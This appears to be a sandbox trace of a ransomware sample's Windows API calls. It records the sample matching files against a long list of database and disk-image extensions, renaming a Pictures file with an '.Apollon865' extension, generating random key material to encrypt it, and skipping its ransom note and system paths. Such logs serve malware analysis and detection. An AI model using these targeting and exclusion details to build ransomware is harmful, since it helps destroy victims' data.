	[0087.235] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0087.235] lstrlenW (lpString="vbox") returned 4
	[0087.235] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0087.235] lstrlenW (lpString="vdi") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0087.236] lstrlenW (lpString="vhd") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0087.236] lstrlenW (lpString="vhdx") returned 4
	[0087.236] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0087.236] lstrlenW (lpString="avhd") returned 4
	[0087.236] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0087.236] lstrlenW (lpString="db") returned 2
	[0087.236] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0087.236] lstrlenW (lpString="db2") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0087.236] lstrlenW (lpString="db3") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0087.236] lstrlenW (lpString="dbf") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0087.236] lstrlenW (lpString="mdf") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0087.236] lstrlenW (lpString="mdb") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0087.236] lstrlenW (lpString="sql") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0087.236] lstrlenW (lpString="sqlite") returned 6
	[0087.236] lstrcmpiW (lpString1="4I.png", lpString2="sqlite") returned -1
	[0087.236] lstrlenW (lpString="sqlite3") returned 7
	[0087.236] lstrcmpiW (lpString1="x4I.png", lpString2="sqlite3") returned 1
	[0087.236] lstrlenW (lpString="sqlitedb") returned 8
	[0087.236] lstrcmpiW (lpString1="xx4I.png", lpString2="sqlitedb") returned 1
	[0087.236] lstrlenW (lpString="xml") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0087.236] lstrlenW (lpString="$er") returned 3
	[0087.236] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0087.236] lstrlenW (lpString="4dd") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0087.237] lstrlenW (lpString="4dl") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0087.237] lstrlenW (lpString="^^^") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0087.237] lstrlenW (lpString="abs") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0087.237] lstrlenW (lpString="abx") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0087.237] lstrlenW (lpString="accdb") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accdb") returned 1
	[0087.237] lstrlenW (lpString="accdc") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accdc") returned 1
	[0087.237] lstrlenW (lpString="accde") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accde") returned 1
	[0087.237] lstrlenW (lpString="accdr") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accdr") returned 1
	[0087.237] lstrlenW (lpString="accdt") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accdt") returned 1
	[0087.237] lstrlenW (lpString="accdw") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accdw") returned 1
	[0087.237] lstrlenW (lpString="accft") returned 5
	[0087.237] lstrcmpiW (lpString1="I.png", lpString2="accft") returned 1
	[0087.237] lstrlenW (lpString="adb") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.237] lstrlenW (lpString="adb") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.237] lstrlenW (lpString="ade") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0087.237] lstrlenW (lpString="adf") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0087.237] lstrlenW (lpString="adn") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0087.237] lstrlenW (lpString="adp") returned 3
	[0087.237] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0087.238] lstrlenW (lpString="alf") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0087.238] lstrlenW (lpString="ask") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0087.238] lstrlenW (lpString="btr") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0087.238] lstrlenW (lpString="cat") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0087.238] lstrlenW (lpString="cdb") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0087.238] lstrlenW (lpString="ckp") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0087.238] lstrlenW (lpString="cma") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0087.238] lstrlenW (lpString="cpd") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0087.238] lstrlenW (lpString="dacpac") returned 6
	[0087.238] lstrcmpiW (lpString1="4I.png", lpString2="dacpac") returned -1
	[0087.238] lstrlenW (lpString="dad") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0087.238] lstrlenW (lpString="dadiagrams") returned 10
	[0087.238] lstrcmpiW (lpString1="_3xx4I.png", lpString2="dadiagrams") returned -1
	[0087.238] lstrlenW (lpString="daschema") returned 8
	[0087.238] lstrcmpiW (lpString1="xx4I.png", lpString2="daschema") returned 1
	[0087.238] lstrlenW (lpString="db-journal") returned 10
	[0087.238] lstrcmpiW (lpString1="_3xx4I.png", lpString2="db-journal") returned -1
	[0087.238] lstrlenW (lpString="db-shm") returned 6
	[0087.238] lstrcmpiW (lpString1="4I.png", lpString2="db-shm") returned -1
	[0087.238] lstrlenW (lpString="db-wal") returned 6
	[0087.238] lstrcmpiW (lpString1="4I.png", lpString2="db-wal") returned -1
	[0087.238] lstrlenW (lpString="dbc") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0087.238] lstrlenW (lpString="dbs") returned 3
	[0087.238] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0087.238] lstrlenW (lpString="dbt") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0087.239] lstrlenW (lpString="dbv") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0087.239] lstrlenW (lpString="dbx") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0087.239] lstrlenW (lpString="dcb") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0087.239] lstrlenW (lpString="dct") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0087.239] lstrlenW (lpString="dcx") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0087.239] lstrlenW (lpString="ddl") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0087.239] lstrlenW (lpString="dlis") returned 4
	[0087.239] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0087.239] lstrlenW (lpString="dp1") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0087.239] lstrlenW (lpString="dqy") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0087.239] lstrlenW (lpString="dsk") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0087.239] lstrlenW (lpString="dsn") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0087.239] lstrlenW (lpString="dtsx") returned 4
	[0087.239] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0087.239] lstrlenW (lpString="dxl") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0087.239] lstrlenW (lpString="eco") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0087.239] lstrlenW (lpString="ecx") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0087.239] lstrlenW (lpString="edb") returned 3
	[0087.239] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0087.239] lstrlenW (lpString="epim") returned 4
	[0087.239] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0087.240] lstrlenW (lpString="fcd") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0087.240] lstrlenW (lpString="fdb") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0087.240] lstrlenW (lpString="fic") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0087.240] lstrlenW (lpString="flexolibrary") returned 12
	[0087.240] lstrcmpiW (lpString1="f5_3xx4I.png", lpString2="flexolibrary") returned -1
	[0087.240] lstrlenW (lpString="fm5") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0087.240] lstrlenW (lpString="fmp") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0087.240] lstrlenW (lpString="fmp12") returned 5
	[0087.240] lstrcmpiW (lpString1="I.png", lpString2="fmp12") returned 1
	[0087.240] lstrlenW (lpString="fmpsl") returned 5
	[0087.240] lstrcmpiW (lpString1="I.png", lpString2="fmpsl") returned 1
	[0087.240] lstrlenW (lpString="fol") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0087.240] lstrlenW (lpString="fp3") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0087.240] lstrlenW (lpString="fp4") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0087.240] lstrlenW (lpString="fp5") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0087.240] lstrlenW (lpString="fp7") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0087.240] lstrlenW (lpString="fpt") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0087.240] lstrlenW (lpString="frm") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0087.240] lstrlenW (lpString="gdb") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.240] lstrlenW (lpString="gdb") returned 3
	[0087.240] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.240] lstrlenW (lpString="grdb") returned 4
	[0087.241] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0087.241] lstrlenW (lpString="gwi") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0087.241] lstrlenW (lpString="hdb") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0087.241] lstrlenW (lpString="his") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0087.241] lstrlenW (lpString="ib") returned 2
	[0087.241] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0087.241] lstrlenW (lpString="idb") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0087.241] lstrlenW (lpString="ihx") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0087.241] lstrlenW (lpString="itdb") returned 4
	[0087.241] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0087.241] lstrlenW (lpString="itw") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0087.241] lstrlenW (lpString="jet") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0087.241] lstrlenW (lpString="jtx") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0087.241] lstrlenW (lpString="kdb") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0087.241] lstrlenW (lpString="kexi") returned 4
	[0087.241] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0087.241] lstrlenW (lpString="kexic") returned 5
	[0087.241] lstrcmpiW (lpString1="I.png", lpString2="kexic") returned -1
	[0087.241] lstrlenW (lpString="kexis") returned 5
	[0087.241] lstrcmpiW (lpString1="I.png", lpString2="kexis") returned -1
	[0087.241] lstrlenW (lpString="lgc") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0087.241] lstrlenW (lpString="lwx") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0087.241] lstrlenW (lpString="maf") returned 3
	[0087.241] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0087.242] lstrlenW (lpString="maq") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0087.242] lstrlenW (lpString="mar") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0087.242] lstrlenW (lpString="marshal") returned 7
	[0087.242] lstrcmpiW (lpString1="x4I.png", lpString2="marshal") returned 1
	[0087.242] lstrlenW (lpString="mas") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0087.242] lstrlenW (lpString="mav") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0087.242] lstrlenW (lpString="maw") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0087.242] lstrlenW (lpString="mdbhtml") returned 7
	[0087.242] lstrcmpiW (lpString1="x4I.png", lpString2="mdbhtml") returned 1
	[0087.242] lstrlenW (lpString="mdn") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0087.242] lstrlenW (lpString="mdt") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0087.242] lstrlenW (lpString="mfd") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0087.242] lstrlenW (lpString="mpd") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0087.242] lstrlenW (lpString="mrg") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0087.242] lstrlenW (lpString="mud") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0087.242] lstrlenW (lpString="mwb") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0087.242] lstrlenW (lpString="myd") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0087.242] lstrlenW (lpString="ndf") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0087.242] lstrlenW (lpString="nnt") returned 3
	[0087.242] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0087.242] lstrlenW (lpString="nrmlib") returned 6
	[0087.243] lstrcmpiW (lpString1="4I.png", lpString2="nrmlib") returned -1
	[0087.243] lstrlenW (lpString="ns2") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0087.243] lstrlenW (lpString="ns3") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0087.243] lstrlenW (lpString="ns4") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0087.243] lstrlenW (lpString="nsf") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0087.243] lstrlenW (lpString="nv") returned 2
	[0087.243] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0087.243] lstrlenW (lpString="nv2") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0087.243] lstrlenW (lpString="nwdb") returned 4
	[0087.243] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0087.243] lstrlenW (lpString="nyf") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0087.243] lstrlenW (lpString="odb") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.243] lstrlenW (lpString="odb") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0087.243] lstrlenW (lpString="oqy") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0087.243] lstrlenW (lpString="ora") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0087.243] lstrlenW (lpString="orx") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0087.243] lstrlenW (lpString="owc") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0087.243] lstrlenW (lpString="p96") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0087.243] lstrlenW (lpString="p97") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0087.243] lstrlenW (lpString="pan") returned 3
	[0087.243] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0087.243] lstrlenW (lpString="pdb") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0087.244] lstrlenW (lpString="pdm") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0087.244] lstrlenW (lpString="pnz") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0087.244] lstrlenW (lpString="qry") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0087.244] lstrlenW (lpString="qvd") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0087.244] lstrlenW (lpString="rbf") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0087.244] lstrlenW (lpString="rctd") returned 4
	[0087.244] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0087.244] lstrlenW (lpString="rod") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0087.244] lstrlenW (lpString="rodx") returned 4
	[0087.244] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0087.244] lstrlenW (lpString="rpd") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0087.244] lstrlenW (lpString="rsd") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0087.244] lstrlenW (lpString="sas7bdat") returned 8
	[0087.244] lstrcmpiW (lpString1="xx4I.png", lpString2="sas7bdat") returned 1
	[0087.244] lstrlenW (lpString="sbf") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0087.244] lstrlenW (lpString="scx") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0087.244] lstrlenW (lpString="sdb") returned 3
	[0087.244] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0087.244] lstrlenW (lpString="sdc") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0087.245] lstrlenW (lpString="sdf") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0087.245] lstrlenW (lpString="sis") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0087.245] lstrlenW (lpString="spq") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0087.245] lstrlenW (lpString="te") returned 2
	[0087.245] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0087.245] lstrlenW (lpString="teacher") returned 7
	[0087.245] lstrcmpiW (lpString1="x4I.png", lpString2="teacher") returned 1
	[0087.245] lstrlenW (lpString="tmd") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0087.245] lstrlenW (lpString="tps") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0087.245] lstrlenW (lpString="trc") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.245] lstrlenW (lpString="trc") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.245] lstrlenW (lpString="trm") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0087.245] lstrlenW (lpString="udb") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0087.245] lstrlenW (lpString="udl") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0087.245] lstrlenW (lpString="usr") returned 3
	[0087.245] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0087.245] lstrlenW (lpString="v12") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0087.246] lstrlenW (lpString="vis") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0087.246] lstrlenW (lpString="vpd") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0087.246] lstrlenW (lpString="vvv") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0087.246] lstrlenW (lpString="wdb") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0087.246] lstrlenW (lpString="wmdb") returned 4
	[0087.246] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0087.246] lstrlenW (lpString="wrk") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0087.246] lstrlenW (lpString="xdb") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0087.246] lstrlenW (lpString="xld") returned 3
	[0087.246] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0087.246] lstrlenW (lpString="xmlff") returned 5
	[0087.246] lstrcmpiW (lpString1="I.png", lpString2="xmlff") returned -1
	[0087.246] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\EfKnGxZUf5_3xx4I.png.Apollon865") returned 85
	[0087.246] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\EfKnGxZUf5_3xx4I.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\efkngxzuf5_3xx4i.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\EfKnGxZUf5_3xx4I.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\efkngxzuf5_3xx4i.png.apollon865"), dwFlags=0x1) returned 1
	[0087.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\EfKnGxZUf5_3xx4I.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\efkngxzuf5_3xx4i.png.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.248] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=36856) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.248] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.249] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.249] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.249] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9300, lpName=0x0) returned 0x15c
	[0087.250] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9300) returned 0x100000
	[0087.252] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.252] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.252] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.253] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.254] CloseHandle (hObject=0x15c) returned 1
	[0087.254] CloseHandle (hObject=0x9c) returned 1
	[0087.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.255] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5abdc0, ftCreationTime.dwHighDateTime=0x1d4c8e3, ftLastAccessTime.dwLowDateTime=0x6c161340, ftLastAccessTime.dwHighDateTime=0x1d4cae3, ftLastWriteTime.dwLowDateTime=0x6c161340, ftLastWriteTime.dwHighDateTime=0x1d4cae3, nFileSizeHigh=0x0, nFileSizeLow=0x12f56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FpuhSn.bmp", cAlternateFileName="")) returned 1
	[0087.255] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.255] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0087.255] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".") returned 1
	[0087.255] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="..") returned 1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="windows") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="bootmgr") returned 1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="temp") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="pagefile.sys") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="boot") returned 1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="ids.txt") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="ntuser.dat") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="perflogs") returned -1
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2="MSBuild") returned -1
